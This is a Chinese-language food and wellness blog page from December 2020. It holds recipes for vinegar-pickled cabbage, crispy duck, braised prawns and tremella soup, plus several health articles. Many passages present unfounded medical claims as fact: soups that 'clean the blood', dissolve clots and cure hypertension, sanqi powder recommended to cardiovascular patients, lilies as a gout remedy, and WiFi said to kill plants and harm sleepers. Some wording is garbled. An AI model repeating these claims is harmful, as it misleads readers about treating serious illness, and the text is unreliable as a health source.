藤田纮一郎解释,100g的高丽菜大约有2g的补充纤维,三餐可吸收将将近每日所需的1/4(日本建议每日添加纤维吸收量为19g,台湾则为25〜35g) 。纤维可以调整肠内环境,帮助增加益菌,打造易瘦体质。高丽菜中的膳食纤维还可以减缓糖分吸收,抑制餐后血糖急遽上升,可以帮助预防糖尿病。

如果再加上醋,可以让效果更好。藤田纮一郎解释,醋酸充分良好的减肥效果,可以帮助分解乳酸,糖分,促进体内柠檬酸循环,增进减肥效果。藤田纮一郎特别推荐在饭前先吃醋高丽菜当前菜,增加饱足感就不容易吃太多,除了有助减肥还能避免血糖飙升。

日本福冈女子大学客座教授,村上祥子则表示,醋可以降血压,促进血液流动,而高丽菜中代谢的维生素C比胆固醇还高,每100g中就有37.2mg,能够养颜美容,帮助体内胶原如此,高丽菜中的维生素U能抑制胃酸分泌,保护肠胃黏膜,预防胃溃疡,胃炎等胃部问题。日本营养管理士,料理研究家检见崎聪美也表示,将高丽菜浸泡到醋中,可以帮助促进体内糖份,少量燃烧,除了减肥效果,丰富的残留纤维还能消除便秘,一举两得。


高丽菜

醋高丽菜首次超简单

材料:高丽菜1/2个(450〜500g)。醋200〜300ml。(依自身喜好选择醋的种类即可)

做法:

高丽菜洗净后切丝,转化为水分擦干。

高丽菜丝掺夹链袋中后,倒入醋浸泡过高丽菜。

挤出袋内空气后确实密封,放入冰箱冷藏7〜10天即可食用,约可冷藏保存2〜3周。

吃法

餐前吃100g即可。

2020-12-28 / by / in
名厨教做香酥鸭 皮脆肉酥 超美味! (视频)

香酥鸭/鸭子/新年

新年将至,跟着名厨做香酥鸭,迎接新年大家快来。

香酥鸭是一道传统名菜,是鸭子经调味腌渍渍,再上笼蒸至熟烂,最后经油炸制成的。做好的香酥鸭色泽红亮,口感皮脆肉酥。

材料:

花椒10克,盐100克,葱2根,姜4片,

做法:

1.腌制鸭子:将盐和花椒加入平底锅中小火慢慢翻炒,炒至花椒和盐变色时,将它们倒入鸭身上,用手给鸭身按摩,将味道渗透到肉里面去 。将葱姜放入到鸭肚子里面,腌制24小时。

2.蒸制:将腌制好的鸭子上锅蒸90分钟(1.5小时)。

3.成菜:鸭子表面裹上一层淀粉,锅中倒入足够的油,油温在150-180°C时将鸭子放入油锅中炸,炸至表面金黄即可出锅。放凉 后切成片就可以吃了。

2020-12-27 / by / in ,
煮一锅仅五块钱,胜燕窝、溶血栓、降三高,医生抢着吃!

降三高/银耳/燕窝/溶血栓

有“菌中之冠”的美称,营养滋补,扶正强壮,银耳的食用方法也非常多。银耳别名白木耳,性平,味甘,无毒。

说起燕窝大家都知道,是滋补珍品,但大多数人不知道的是:外行吃燕窝,内行吃银耳!《本草诗解药注》中提到:“白耳有麦冬之润而无其寒,有玉竹之之甘而无其腻,诚润肺滋阴之要品,为人参,鹿茸,燕宣窝所不及”。翻译成白话文,就是人参,鹿茸,燕窝远不如银耳。

外行吃燕窝,内行吃银耳

医生懂养生也会养生吧?但医生自己就吃银耳,今年90岁了,老人家每天必吃一小碗银耳。那也许您会说,医生没那么多钱,哪能天天吃得起燕窝了。

慈禧坐拥一切,想吃什么多名贵的燕窝都有,但是慈禧独爱银耳,每天早上不管多忙,都必吃银耳汤。据《御香缥缈录》所记载,慈禧到老时“肌肤白嫩光滑除了是慈禧,历代皇家贵族将银耳朝向是“延年益寿之品”,“长生不老良药”。

这碗汤羹特别适合春夏时节的身体情况,能给予身体润物细无声般的滋补。除了银耳,还用到了枸杞以及时令食材菠萝汁,咱们先看看这三种食材各自的功效:

银耳是这碗汤羹的主料,含有17种氨基酸(其中7种为人体必需),富含多种维生素和天然植物胶质,还有银耳多元,多种微量元素和纤维等,能抗癌,保护血管,预防血栓,降三高,银耳中富含丰富的蛋白质维生素等,常食银耳有美容养颜,抗老去皱及紧肤消脂的作用,并有祛除脸部黄褐斑,雀斑的功效。


银耳汤

菠萝是春夏最推荐的应季水果之一,有开胃促进消化,减少患心脏病的风险,消脂防便秘等功效,但菠萝富含菠萝蛋白酶,生吃的话在口腔中会产生涩味,实际上是人们对菠萝酶的过敏反应,加热熟吃可以破坏这种酶。

由于头发的生长和高血压,血液循环的健康息息相关,而枸杞子恰好对于补肾和造血促循环方面有很好的作用,因此,每天每天吃10克枸杞能明目,吃15克能补肾,吃30克能减肥。

枸杞菠萝银耳汤

原料:枸杞20粒,菠萝1/4个,银耳两朵,冰糖适量

做法:

1,枸杞洗净泡软,菠萝洗净后切成小块,泡淡盐水大约七八分钟,捞出沥干;

2,银耳用温水泡发洗净,撕成小朵;

3,锅内倒入适量清水,放入银耳用大火烧开,改小火煮1小时,再加入菠萝块,枸杞煮10分钟,加入冰糖,待冰糖煮化即可出锅。

功效:银耳,菠萝,枸杞可谓是春夏黄金组合,三者合一大补肝肾,滋阴润肺,美容养颜,每天一小碗,双臂的斑,全身的多余肉悄悄悄没没了,没有血栓入侵,60岁不长皱纹,70岁齿固发黑,80岁没三高灌注,90岁血管干干净净,100岁仍健健康康!


银耳汤

银耳加一宝,永远不衰老

除了这个春夏黄金组合,银耳还可以可其他食材搭配,能发挥出不同的效果。

银耳+莲子

养颜

银耳和莲子是我们生活中最常见的搭配,我们平时经常会煲银耳莲子羹

银耳+雪梨润肺

中医认为,我们的五脏对应着五种颜色,肺部对应的颜色是白色。因此,要想润肺止咳,我们不妨碍多吃点白色的食物。

银耳和雪梨都属于白色食物,如果咳嗽总是不好的话,我们不妨碍炖点银耳冰糖雪梨,润肺止咳的效果加倍!

银耳+菊花解毒

菊花和银耳一同食用,既具有镇静解毒的功效,同时可以帮助我们补气益血和强身健体。

银耳+茉莉养肝

如果我们将茉莉花和银耳搭配起来食用,既气味芬香,又具有疏散肝解郁和滋阴降火的作用。

银耳+百合安神

这个搭配特别适合秋天,能滋补润燥,养心安神,润肺养肺。

银耳+红枣补血

银耳和红枣搭配,既秀色可餐,而且有补气养血安神的作用。

银耳+鸡肉强身

这款汤品是非常适合春天的清补汤,能开胃健体。

银耳+青果止咳

银耳加青果合煮,对口干舌燥,喉咙肿痛等症特别有效。


银耳

提醒

1,也可以用电压力锅煮银耳,但是不及文火慢炖出来的味道好。

2,银耳含钴的硝酸盐类,如果煮熟并放置替代的时间,这些硝酸盐类会在细菌的分解作用下还原成亚硝酸盐。因此银耳汤是不宜放混合物的,最好是现做现吃。

2020-12-27 / by / in ,
干㸆大明虾 味道鲜美 在家里也可以烹制名菜! (视频)

干㸆大明虾/大虾

新年快到了,和亲朋好友聚餐,今天教你一手干㸆大明虾,让你的餐桌更加丰盛美味。

干㸆大明虾是一道甜咸适中,颜色鲜艳,味道鲜美,老少皆宜的一道菜,其味道多具淮阳风味,超越油焖大虾。这道菜无论从食材和做法上都很简单。

材料:

大虾 500克,葱 3根,姜 30克,

调料:

盐 适量,胡椒粉 少许,白糖 25克,料酒 2汤匙,

做法:

1. 准备工作:葱,姜切丝,虾剪去须子,剔除沙包和虾线,

2. 煎大虾:锅中放入适量的油,凉油下入大虾,煎制两面变红时盛出。

3. 成菜:锅中放入少许油,放入葱姜爆香,下入大虾,少许水,开始加入调料:盐,糖,白胡椒粉,料酒,盖上盖子焖制2分钟,2分钟后再加入1勺糖,翻炒均匀即可。

2020-12-26 / by / in ,
美味柠檬菌菇鸡 秒杀白饭(视频)

柠檬/菌菇/鸡

鸡肉的做法可以说是多种多样,那么今天给大家介绍一种柠檬菌菇鸡。

肉质软嫩多汁,厚实有弹性的鸡腿肉与高纤维、低热量的菇类演绎的一道香柠菌菇鸡美味料理,不仅做法简单,而且秒杀白饭。

材料:

干辣椒少许、蒜片6片、姜片6片、葱段1支、西芹2两、红甜椒3片、黄甜椒3片、肉鸡腿1支、杏鲍菇2两、精灵菇2两、鸿喜菇2两、蚝油1匙、酱油1匙、花雕酒1匙、新鲜柠檬叶5片

做法:

1. 将肉鸡腿断筋切丁,略用胡椒、盐腌备用。

2. 热锅爆香蒜片、姜片后下干辣椒,再炒香鸡腿丁至金黄色,再加入蚝油、酱油、花雕酒及加少许水,并加入菇煮至收汁。

3. 收汁后加入红黄甜椒、西芹拌炒,再下柠檬叶即可。

2020-12-26 / by / in ,
鸡蛋的另类创意吃法 外酥内嫩黄金蛋(视频)

黄金蛋/鸡蛋

鸡蛋含有丰富的蛋白质和维生素,还有铁、钙、钾等,是生活中不可缺少的,也是最常见的一种食物。

简简单单的鸡蛋也可以有很多不同的做法。今天的这道外酥里嫩的黄金蛋绝对富有创意,味道也非常的好吃。做给家人尝尝吧~

所需材料 ( 6人份 ):

蛋4颗,美乃滋( mayonnaise) 2汤匙,番茄酱 1汤匙,黄芥末 1汤匙,盐和胡椒,面粉50g,面包粉 100g

作法:

1.将三颗蛋煮熟切半,并挖出蛋黄。

2.将挖出的蛋黄、美乃滋、番茄酱、黄芥末、盐和胡椒倒入一个小碗里,均匀搅拌,使其成为一个蛋黄奶油酱,并装入挤花袋中。

3.将步骤1的6颗半颗蛋白陆续裹上面粉、蛋液和面包粉,并油炸至呈金黄色。

4.最后,将步骤2的蛋黄奶油酱挤入炸成金黄色的蛋白中间,洒下一些装饰用的绿色蔬菜,即可。

2020-12-25 / by / in , , ,
血脏生百病!这碗排毒汤不到5块钱,就可以给血液来个大扫除

血液/血脏生百病/血液大扫除/清理血液垃圾/血管大扫除/黄瓜木耳排毒汤

人的愿望都想有个好的身体能健康长寿,那么首先要有好的血液循环功能,因为血管和干净的血液才是身体健康的基础。

当血液受到污染,导致血管硬化、血管堵塞时,人就会出现各种疾病,甚至危及生命!血脏生百病,就是这个道理!

人体生命之源——血液

血管是血液输送氧分和营养物质到全身的通道,同时也是排出新陈代谢之后的垃圾、残留物和二氧化碳的渠道。

即使我们在熟睡中,血液也会像时针一样,不停地流动在身体的各个地方。这种过程,从我们出生到死亡,从未停止过。

如果血液不流动,生命就会有危险,所以血管就是我们人体的命脉。

血脏生百病,清血能保命!

而当血液受到污染时,各种垃圾堆积,就可能形成血栓、堵塞血管,极易造成心脑血管意外。

血管堵塞超过60% 时,心脑血管疾病发病率、致残率、致死率将高达79.88%;

当动脉血管堵塞75%以上时,人会出现胸闷、气短、头晕、头痛等不适感,甚至发生阻塞性睡眠呼吸暂停,心脑动脉粥样硬化,并诱发脑卒中(中风)、心梗等重大疾病。

在此之前,就需要及时清理血液垃圾,净化血液,才能维持生命健康!

清理血管并不是我们想像的那么复杂,今天就给大家推荐一个简单的不能再简单的排毒食疗汤,只需要两样哪都能买到的蔬菜,成本不超过5块钱,就能给您的身体来个清洁,让你的肠胃和血管变健康。


黄瓜


木耳

一碗排毒汤,只需要两样蔬菜,就能给血管来个大扫除!

你需要准备:

黄瓜300g、木耳20g、香油、鸡精、盐适量。

排毒汤做法:

1、黄瓜洗净切厚块;木耳用清水泡30分钟发透,沥干洗净,去蒂根,洗净撕成瓣状;

2、锅置火上,油烧至七成熟,放入木耳爆炒至六成熟后,倒入适量清水,大火烧开;

3、加入黄瓜,转中小火再煮10分钟;

4、出锅前加适量香油和盐调味即可。

(可加少量干贝或虾皮,汤味更鲜美,还有补钙功效)

排毒汤功效:

黄瓜:中医记载,黄瓜味甘、性凉,具有清热除烦、利尿排毒的功效。此外,黄瓜中的纤维素对促进人体肠道内腐败物质的排除,对降低胆固醇、降血脂有一定作用。

黑木耳:能清胃涤肠,且含有丰富的维生素K,有阻止血液中胆固醇沉积和凝结的作用,改变血液凝固状态,从而预防血栓等症的发生,有防治动脉粥样硬化和冠心病的作用。

两种食材相辅相成,共同给身体血液来个大扫除,降低各种心血管疾病发生机率。

现在的人吃的不健康、工作压力大、运动少,而且连呼吸的空气都变得糟糕,血液受到污染是必然的事情。一碗黄瓜木耳汤,成本不到5块钱,就能给您的血液来一次大扫除,简单又有效!

2020-12-25 / by / in
早餐加点它,清洗血管 ,气色好养容颜,一辈子不显老!

三餐选择决定个人寿命/三七牛奶麦片/三七清血管养容颜

在日常生活中一日三餐是最重要的事情了,怎么样把一日三餐搭配好,和你的健康与气色有相当大的关系,所以不要轻看一日三餐。

有些朋友每天坚持运动好几个小时,但却不注意饮食,这样反而可能适得其反。光会动,不会吃,可能会造成身体气血两亏!

上了年纪,如果饮食结构不合理,会对血管造成损害,甚至使得脑血管堵塞,发生脑梗塞等严重问题。因此,一日三餐,一定要吃好,并且会吃。

下面就给大家讲一讲适合中老年的一日三餐,如何通过一日三餐改善血管问题,保持年轻不显老!人人都能做到!

三餐选择决定个人寿命

如何吃才叫养生,才能保持比同龄人年轻的状态的呢?这个一日三餐特殊食法,其实很简单,也适合大家。

早餐:三七是精髓,一天有精神

按时按量吃早餐,牛奶、麦片、葡萄干、奶酪、面包片等,最后把一小勺(1~3克)三七粉混在少量牛奶中喝下去。


三七粉

三七药性平和,能够活血通脉,帮助血液循环。早晨喝了之后,大脑血液供应状态良好。一整天用脑之后,也不会感到疲劳,并且对大脑和心脏都有好处。

服用的结果:全身气血充盈,血管好,身体组织器官就能得到滋养。少生疾病,皮肤好!而这也是一天中最重要的一餐!

午餐:吃饱为生,合理搭配

告诉大家一个“速食饭”,即把肉切成丁加上点酱油、黄酒、葱花和姜末一起腌一下,然后放在电饭锅里与米饭一起焖;再做一个西红柿或黄瓜鸡蛋汤。

其实,就是保证每顿饭膳食结构合理。


晚餐前吃个核桃不显老

晚餐:饭前吃六个枣,一个核桃不显老

每天晚饭前,先吃上6个枣、1个核桃(可以通润血脉、润肤润发),而且可以换着花样吃。

比如,煮熟后放蜂蜜或红糖或冰糖,吃完之后再吃饭。所谓枣养气血,“一日吃仨枣,一辈子不显老”。

三七妙用:清血管 养容颜

三七,明代著名的药学家李时珍称其为“金不换”,既有止血又有活血的功效,不仅能降血压降血脂,而且对于女性还有养颜美容的功效。

1)防治心脑血管疾病

三七适合心脑血管疾病患者、高血压、高血脂患者食用,对于血管有较好的清理作用,被称为“血管的清道夫”,对于降血压、降血脂也有一定的帮助。

2)养颜美容

三七粉除了吃以外,还能用来做面膜。自己调制的三七面膜不仅安全放心,而且效果很不错,对于斑点、皱纹、痘痘等问题都有很好改善。

做法:一小勺三七粉、鸡蛋清、蜂蜜,三样东西放在一起搅拌均匀,无需加水,然后直接涂抹在脸上,15-20分钟之后洗净即可。

最佳食用时间:吃早餐时和晚餐后一小时,是服用三七粉的最佳时间,这是人体吸收最好的两个时段。

一日三餐保健,是靠谱的养生方法,大家切勿舍本逐末。

2020-12-24 / 2 Comments / by / in
美国癌症研究所临床研究 究竟吃啥能抗癌(组图)

癌症/美国癌症研究所/抗癌食物/健康/抗癌/食物/蓝莓/深绿色叶蔬菜/大蒜/葡萄/葡萄汁/西红柿

什么食物可以抗癌,现在还很难找到确切的食物抗癌。但蔬菜、水果、全谷物和豆类等可以降低很多癌症风险,这也是不争的事实。

美国癌症研究所(AICR)网站就一直在推荐抗癌食物,且根据临床研究数据一直在补充更新:

多半是因为食物中含有矿物质、维生素、植物素。

这些在实验室显示出抗癌作用的元素,越来越多的被搬到临床。很多研究证据都表明,在膳食中加入这些食物,有直接的抗癌效果。

因肥胖会增加11种癌症的患病风险,全麦食物、豆类中含有丰富的膳食纤维,蔬菜、水果卡路里非常低,它们都能通过控制体重实现间接抗癌。

注:

抗癌力一级指:有较强的证据支持其抗癌作用。

抗癌力二级指:可能对这些癌症有预防作用。

1.苹果:


苹果

我们现在吃到的苹果,其实是起源于东亚的一种野生苹果。野生苹果的基因多样性使其演变出了现在的1000多种品种。

苹果富含膳食纤维和维生素C,一个苹果中含有日常推荐量10%的膳食纤维和维生素C。肠道菌群还能利用膳食纤维中的果胶产生对细胞有益的化合物。

抗炎抗氧化的槲皮素、表儿茶素、红苹果中含有的花青素、苹果皮中含有的三萜类化合物都使具有极强的抗氧化能力。

抗癌力一级:结直肠癌

抗癌力二级:口咽癌、喉癌、肺癌

2.蓝莓:


蓝莓

蓝莓原产于北美,现在在水果中的受欢迎程度不亚于歌手中的摇滚明星。一个主要的原因就是其可以增强记忆力。丰富的花青素也使它拥有“独特”的蓝色。

蓝莓是所有水果中抗氧化能力最强的。蓝莓中含有丰富的维生素C、维生素K、锰元素,还有膳食纤维。

抗癌力一级:结直肠癌

抗癌力二级:口咽癌、喉癌、肺癌

3.西兰花和十字花科蔬菜:


西兰花

呈“十”字的花瓣形状,是十字花科植物名字来源。西兰花是最有名的十字花科蔬菜,其他有名的还有球芽甘蓝、油菜花、卷心菜、花椰菜、白萝卜等。

十字花科蔬菜完全不含淀粉。几乎每种十字花科蔬菜都含有丰富的维生素C、锰,一些深绿色的蔬菜还含有维生素K。

叶酸、维生素B、镁、膳食纤维、类胡萝卜素、花青素等也能在部分蔬菜中检测到。

抗癌力一级:结直肠癌

抗癌力二级:口咽癌、喉癌、肺癌

4.樱桃:


樱桃

有研究显示,樱桃能缓解头疼和关节炎、痛风性关节炎疼痛。

无论是酸樱桃还是甜樱桃都富含维生素C和膳食纤维,还有矿物质钾。酸樱桃中还含有维生素A。花青素使它们拥有抗氧化能力和鲜艳的颜色。

抗癌力一级:结直肠癌

抗癌力二级:口咽癌、喉癌、肺癌

5.咖啡:


咖啡

咖啡能否抗癌,一直以来饱受争议,还有一些研究显示咖啡会提高癌症风险。

目前,咖啡目前已经被移除“2B类致癌物”名单,还有越来越多的证据表明咖啡能降低癌症风险。

关于咖啡的抗癌机制目前仍不是特别明确,咖啡的成分也会随着咖啡豆的改变而改变。总体来说,其中含有维生素B和植物素,有抗氧化作用。

已经证明可以预防:子宫内膜癌、肝癌

可能预防:胰腺癌、肾癌

6.蔓越莓:


蔓越莓

蔓越莓生长在北部低洼的沼泽地里,它天然的抗坏血酸作用长期以来受到水手、航海者的青睐。

现在你可能知道蔓越莓汁可以预防尿路感染。但对于大多数女人来说,蔓越莓独特的风味和颜色,使它的意义早就已经超越了食物。

同样是富含维生素C和膳食纤维。花青素、熊果酸、苯甲酸等,使它有极强的抗氧化能力。

抗癌力一级:结直肠癌

抗癌力二级:口咽癌、喉癌、肺癌

7.亚麻籽:


亚麻籽

无论是营养学领域还是药物领域,亚麻籽都是研究者的“宠儿”。

亚麻籽含有优质镁、锰、维生素B1、膳食纤维,富含矿物质硒,还能提供蛋白质和微量元素铜。亚麻籽中的脂类还含有omega-3 脂肪酸。

亚麻籽富含植物类雌激素如木脂素,因此很多研究都集中在其能预防乳腺癌上,近年来还有研究亚麻籽在前列腺癌和结肠癌中的作用。

抗癌力一级:结直肠癌

8.西柚:


西柚

西柚满满都是维生素和植物素,一只柚子就能提高成年人一天所需的维生素C。低卡路里和酸酸甜甜的味道也足以使它风靡全球。

抗癌力一级:结直肠癌

抗癌力二级:口咽癌、喉癌、肺癌

9.豆类(豌豆、扁豆):


豌豆

豆类富含纤维素、植物素、蛋白质,还能提供优质叶酸和维生素B。能从多个方面表现抗癌作用。

抗癌力一级:结直肠癌

10.大豆:


大豆

豆腐、豆浆、豆奶、豆类发酵品等是我们日常生活中重要的蛋白质来源。此外,大豆含有丰富的植物性雌激素,膳食纤维、钾、镁、铜、锰、铁等。

大豆还是多不饱和脂肪酸ω-6和ω-3的优质来源。

但是,由于豆类食物做法丰富多样,有些在制作过程中会对营养素有不同程度的损害,不能一概而论。

抗癌力一级:结直肠癌

11.冬南瓜:


南瓜

产于美国本土的冬南瓜有着不同于夏南瓜(俗称西葫芦)的硬皮,皮有多种不同的纹理,风味各异。

冬南瓜含有优质维生素A,丰富的维生素C、类胡萝卜素、钾和膳食纤维。

抗癌力一级:结直肠癌

抗癌力二级:口咽癌、喉癌、肺癌

12.茶:


此处推荐的茶是传统意义上的来源于植物树叶的白茶、绿茶、黑茶、乌龙茶,并非来源于根茎、种子花朵等的花草茶。

茶中的营养素也取决于茶的种类。总体上说,茶中含有咖啡因、儿茶酚、茶红素和茶黄素等。

研究更多的集中在绿茶与癌症上面,因为绿茶中有丰富的表没食子儿茶素没食子酸酯(EGCG)。

但是,通过回顾过往文献,AICR目前还不给出其预防癌症的确切结论。

13.核桃:


核桃

在所有的坚果类食物中,富含ω-3的核桃抗癌的作用被研究的最多。

核桃中的亚麻酸、鞣花酸、类黄酮都是实验室里受欢迎的抗癌成分,动物实验显示其能减慢乳腺癌和前列腺癌的进展速度。目前也有几十个研究探索核桃的抗癌作用。

但AICR认为证明坚果类抗癌作用的证据有限,不给出确切结论。

14.全麦:


燕麦

包括糙米、燕麦片、玉米、全麦面包、大麦、荞麦、干小麦、小米、高粱等。全麦食物中含完整的营养素,包括膳食纤维的麸类、淀粉胚乳等。

全麦食物中超多的营养素,使研究者很难说明它如何抗癌、哪些成分能抗癌。

抗癌力一级:结直肠癌

其他:

以上14种食物是已经回顾过往文献、得出确切结论的,AICR网站目前正在更新的有5种食物,分别是:

蓝莓、深绿色叶蔬菜、大蒜、葡萄和葡萄汁、西红柿

其中的成分都已经在实验室被证明有抗癌作用,通过回顾过往文献,能给出更加确切的结论。

2020-12-24 / by / in
它们长相丑,却是痛风的“克星”,经常用来泡水喝,尿酸轻松降下来

鱼腥草/痛风/高尿酸/蒲公英茶/百合水/痛风的克星

被称为“富贵病”的痛风,是一种比较常见的疾病,也是很多中老年人都有的疾病,痛风一旦发作疼痛剧烈,感觉就像要了半条命,那么得了痛风该怎么办?

今天为大家介绍一些天然的小食材,别看它们长的“丑”,可对付尿酸有大作用,平时经常食用对治疗高尿酸,痛风大有好处哦。

1、蒲公英茶

蒲公英有清热解毒、消肿散结、利尿通淋、降酸排脂的作用,是中医用来降尿酸、消炎杀菌的重要中药材。蒲公英泡水喝是中医推荐的养生保健茶饮,降脂降酸,防治痛风,还可以改善关节炎、皮肤炎、风湿、咽喉炎症等。

2、鱼腥草

鱼腥草是十分常见的食物,它的利尿效果真的非常棒,它会增快血液流动,帮助你排出体内尿酸,减少血尿酸的形成哦。而且,在关节疼痛、痛风发作的时候,可以多喝喝鱼腥草茶,它可以帮助你镇痛,缓解你的疼痛。


鱼腥草 

3、两草茶(金钱草、车草)

金钱草与车前草历来是利尿、排石经常使用的药物,可促进尿酸排泄、抑制以及清除尿酸结晶,从而达到治疗痛风的目的。具体喝法是将金钱草、车前草干品各15 克,每天早上加水煮沸后代茶饮。

4、玉米须茶

玉米须具有很强的的利尿功能,增加排尿量,通过利尿的过程中排出尿酸,尿酸自然会降。同时,玉米须还有平胆利肝、降血压、降血糖的功效。玉米须搭配丝​​瓜络泡水喝效果会更好。具体做法是降玉米须30~50 克,丝瓜络30~50 克,用冷水浸泡半小时,然后煮20~30 分钟,可以代茶饮。

5、百合水

百合含有丰富的秋水仙碱成分,可减轻痛风发作期间的炎症,有效止痛,对痛风发作所致的急性关节炎症有辅助治疗作用。痛风患者经常食用百合,有非常好的治疗预防作用。同时百合对于因疼痛睡眠不好的痛风也起到一定的催眠安神作用。


百合 

6、陈皮茶

陈皮具有疏肝理气,调和内分泌,清酸利尿等效果,药用价值很高,经常作为中药配方中的药材,对于身体内的污浊之气具有很好的排泄效果,同时具有很好的降血压、降尿酸的作用,在饭后饮用陈皮泡水对于预防痛风效果比较好。

7、菊苣栀子茶

菊苣是一种药食两用的植物,人称咖啡萝卜,菊苣根茎中含有多种丰富的营养物质。菊苣降尿酸,最简单的方法就是直接泡茶喝。不过用菊苣根泡茶喝也是很讲究的,单独依靠菊苣降尿酸的力量是不足够的,中医很多药材植物都有利尿降尿酸的作用,它们的结合才是降尿酸最坚强的力量。菊苣根,栀子果实搭配起来泡茶喝,效果会更好。

2020-12-23 / by / in
超可怕!睡觉不但要关掉手机,还要关掉wifi!

WiFi/远离辐射源/手机辐射/丹麦亚勒鲁普学校/睡觉/ 关手机

睡觉前你有关掉手机的习惯吗?这件事太重要了。

wifi居然能杀死植物。五个来自丹麦的初中女生,做了一项震惊整个科学界的实验。如果你知道了这个实验结果一定会大吃一惊,或许你就不会天天开着你的WiFi睡觉了。

她们在使用手机的过程中发现,如果晚上不关手机,并且将手机放在离自己很近的位置睡觉,那么第二天早上就无法集中精神上课。这让她们怀疑手机辐射会对人体造成非常大的影响,导致睡眠质量下降。她们因此决定进行测试,然而非常遗憾的是校方丹麦亚勒鲁普学校没有相关的设备,无法进行该实验,所以她们只有将研究方向转向手机辐射对植物生长方面的实验。

她们在一个房间里放置了两台路由器,不间断的运行,而另一个房间则远离WiFi信号,唯一相同的是两个房间里都有六个培养皿,里面放着水芹和豌豆种子。在经过12天的实验时间后,女孩们通过不断观察并记录他们的生长情况,发现结果非常的惊人——两个房间的种子差别很大。在没有路由器的房间里,种子经过12天的时间都萌芽并且茁壮的生长,而在有路由器的房间里,水芹和豌豆的种子不仅没有生长,甚至大多数都死了!


WiFi

这个实验不仅让五位女孩获得了该地区的最高科学类奖项,还引起了各国科学家的兴趣,纷纷表示了对这个实验结果的兴趣。这样的一个实验结果,或许会让不少24小时开机的商务人士开始犯愁了。公司不准关机,但是不关机又会对自己造成严重的身体伤害,如何是好呢?

晚上的时候可以将手机放置到离卧室最远的客厅,远离辐射源,就能避免更多的伤害,而且晚上周围环境都很安静,所以也不用担心听不到铃声漏接电话。从今晚开始睡觉前关掉手机,关掉wifi,还要关掉路由器。


睡觉记得关手机

2020-12-23 / by / in
癌症不进家门 炒菜时一定多做一件事

健康/平衡膳食/合理饮食/炒菜技巧

预防癌症,正确的烹饪过程会减少致癌因素,因为在炒菜时通过一些有效的小办法就能规避癌症风险。

“煎、炒、炸”这几种做菜方式被视为离癌症最近的烹调手法,但大多数中国人都是这样的饮食方式呀,有人说,那就不吃吧。其实这不但是不合理的,也是不可能的,一个几千年的习惯怎么可能一下子改变呢?把“癌从口入”理解为不吃东西,这本身就是错误的。

家庭炒菜4大招,吃得美味不致癌

面✔裹层面糊再煎炸

炸丸子、炸鱼、煎牛排等,煎炸这类食物时,肉类的蛋白质经过高温可产生致癌物。

要想减少致癌物产生,可在原料外裹一层厚度适中的面糊(可用淀粉、蛋清混合)再下油锅煎炸。面糊可起到隔离作用,不让肉类直接在高温的油里加热,最大程度减少这两种致癌物产生。

醋✔多放醋

在烹饪过程减少致癌因素,还要尽量保存食物中的维生素C,达到这个一举两得的目的,应该怎么做呢?建议您在炒菜时,多加点醋,因为醋可避免蔬菜中维生素C丢失,而维生素C可阻断亚硝基化合物(一种可导致消化道癌症的物质)的形成。另外,减少食物中维生素C丢失,最好别倒掉炒菜时的菜汁。


炒菜

芡✔勾芡

做菜时,食材里的矿物质、维生素等营养物质,会损失到汤中。而芡汁就像是一件“保护衣”,能更多地保留维生素C。

通常勾芡要掌握好时间,应在菜肴九成熟时进行。过早会使芡汁发焦;过迟则使菜受热时间长,容易失去脆嫩的口味。

蒜✔出锅前拌蒜泥

蒜泥中的硫化物和大蒜素有很好的抗癌抗氧化作用,但是不耐高温,所以出锅前放才有效果。

做菜用油,3个错最容易犯!

1、先倒油再开火

炒菜时,不要先倒油再开火、等油锅冒烟才开始炒菜。油锅冒烟时,油温往往已经达到200℃以上,此时才把菜下锅的话,产生的致癌物会增加患癌症风险。此外,蔬菜中的很多营养素也被破坏了。

正确做法是:先把锅烧热,再倒油,这时就可以炒菜了,避免营养损失和产生致癌物。


炒菜

2、长期只吃一种油

都说橄榄油极好,那就把家里的油换成橄榄油,别的油不吃了!这种想法可千万要不得。

橄榄油富含油酸,其作为一种单不饱和脂肪酸,性质稳定,不容易被氧化,有利于心脏及血管健康。但是,不同油品营养也不同,像橄榄油中多不饱和脂肪酸比例较低,平常只吃这一种油可不行!

橄榄油应与富含多不饱和脂肪酸的大豆油、玉米油、葵花籽油以及富含Ω-3多不饱和脂肪酸的亚麻籽油换着吃。不能简单认为只有橄榄油最好,其他油都不好也不用吃。

3、油上加油

食用油作为纯能量食品,过量使用会给人体带来一定的负面影响,所以家用烹调油最好每日限制在25~30克/人(即家用的汤匙3汤匙左右)即可,可以按家里人数算一算,注意不要摄入过量。

像老爸老妈吃惯了几十年的香油,用橄榄油拌菜后感觉味道不够浓,又滴了香油。但这样很可能使一天的用油量超标,拌菜只用一种油即可。


炒菜

张表教你看懂咋吃油

烹饪方式 推荐油品种类 注意事项

炖煮菜 大豆油、玉米油、葵花籽油等 耐热性差,不适合煎炸,以炖煮为主

一般炒菜 花生油、米糠油等 耐热性较好,基本可用于任何烹调方式
凉拌 橄榄油、茶籽油、芝麻油、亚麻籽油等 可以用来炒菜,但它们特有的香味使其在凉拌时更美味

少吃 棕榈油、猪油、牛油、黄油等 饱和脂肪酸含量较高,少吃
挑选食用油的小窍门

色泽:品质好的豆油为深黄色,一般的为淡黄色;菜籽油为黄中带点绿或金黄色;花生油为淡黄色或浅橙色,棉籽油为淡黄色。

气味:用手指沾一点油,抹在手掌心,搓后闻其气味,品质好的油,应视品种的不同具有各自的油味,不应有其他的异味。

透明度:透明度高,水分杂质少,质量就好。好的植物油,经静置24小时后,应该是清晰透明、不混浊、无沉淀、无悬浮物。滋味:用筷子沾上一点油放入嘴里,不应有苦涩、焦臭、酸败的异味。

2020-12-22 / by / in
化血栓第一豆!改善脑血流量,不是黄豆、黑豆、红豆、绿豆……

健康/营养/豆豉/豆类

美国一项新研究证实,经常吃一些豆类,人体摄入更多豆类纤维,使肠道细菌产生更多有益健康的物质。

老年人吃豆类和菌类一样,有很大的好处,民间有“每天吃豆三钱,何须服药连年”、“五谷宜为养,失豆则不良”的谚语,说明豆类在日常饮食中起着决定性的作用。

现代营养学也证实,每天坚持食用豆类食品,只要2周的时间,人体就可以减少脂肪含量,增加免疫力,降低患病的概率。

但是吃豆子有一个麻烦,就是要额外制作,红豆粥、绿豆粥、或者黄豆豆浆,今天跟大家说的这个豆子,是“化血栓第一豆”,却无需额外制作,只需要添加在日常菜色种即可:豆豉。

豆豉在超市就有卖,一包一包的,需要的朋友可以直接去超市购买……

豆豉营养与牛肉相当

